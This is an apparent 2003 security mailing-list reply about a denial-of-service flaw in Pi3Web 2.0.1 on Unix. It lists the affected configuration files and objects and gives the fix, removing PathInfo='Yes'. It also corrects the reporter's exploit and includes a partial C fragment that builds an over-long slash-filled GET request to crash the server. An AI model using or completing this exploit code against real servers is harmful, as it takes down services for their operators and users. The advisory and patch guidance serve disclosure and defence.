In-Reply-To: <20030512154945.29319.qmail (at) www.securityfocus (dot) com [email concealed]>

The vulnerability exists in Unix version of Pi3Web

2.0.1 only,

which use the one of the following configuration files

shipped

with the binary distributions for Linux or Solaris :

/usr/local/Pi3Web/Conf/Devel.pi3

/usr/local/Pi3Web/Conf/Features.pi3

Note, that the configuration file intended to use with

a production

internet server is NOT vulnerable :

/usr/local/Pi3Web/Conf/Internet.pi3

Note, that the configuration file intended to use with

Windows

servers is also vulnerable but not relevant on unix :

/usr/local/Pi3Web/Conf/Config.pi3

The problem itself is caused by the PathInfo="Yes"

parameter in the

following configuration objects:

#

# Override some mappings for Host2 only

#

<Object>

Name Host2Mappings

Class FlexibleHandlerClass

#

# These mappings only apply to Host2

#

Condition "&cmp($o,Host2)"

#

# map to second document root

#

Mapping PathMapper From="/" To="WebRoot2/" PathInfo="Yes"

</Object>

#

# Host1 mappings

#

<Object>

Name Host1Mappings

Class FlexibleHandlerClass

#

# These mappings only apply to MainVirtualHostInformation

#

Condition "&cmp($o,MainVirtualHostInformation)"

#

# map to first document root

#

Mapping PathMapper From="/" To="WebRoot/" PathInfo="Yes"

</Object>

Remove both occurances of the PathInfo="Yes" from the

configuration

and restart the server in order to fix the reported issue.

Earlier Unix versions than 2.01 are NOT vulnerable.

Win32 versions are NOT vulnerable, because the

parameter has been added

in version 2.0.1 only and a related patch for the

administration client

is available, which corrects this problem in the same

manner :

http://sourceforge.net/tracker/download.php?group_id=17753&atid=317753&f
ile_id=47258&aid=718552

Another remark: the sample code for the exploit is not

correct :

1.) the buffer with the request string is not finished

with '\0'.

2.) the constructed request is only HTTP/0.9, because

the protocol

version is missing in the message.

The current program will generate a malicious request

but I think the intended behaviour is rather to send a

valid HTTP message containing

a malicious URI path.

A proposed enhancement of the exploit looks like:

int main(int argc, char **argv)

{

int i, port, sd, rc;

char buffer[356];

char packet[380];

struct sockaddr_in server;

if(argc > 3 || argc < 2)

{

printf("USAGE: %s IP PORT\n", argv[0]);

printf("e.g. ./pi3web-DoS 127.0.0.1 80\n");

exit(0);

}

if(argc == 2) port = 80;

else port = atoi(argv[2]);

//Build the malformed request

for(i = 0; i < 355; i++) buffer[i] = '/';

buffer[i] = 0;

sprintf(packet, "GET %s HTTP/1.0\n\n", buffer);

The original code generates requests like:

GET //////...///////¿? @f@P

The enhanced code generates requests like:

GET //////.../////// HTTP/1.0

--

regards

Holger Zimmermann

[ reply ]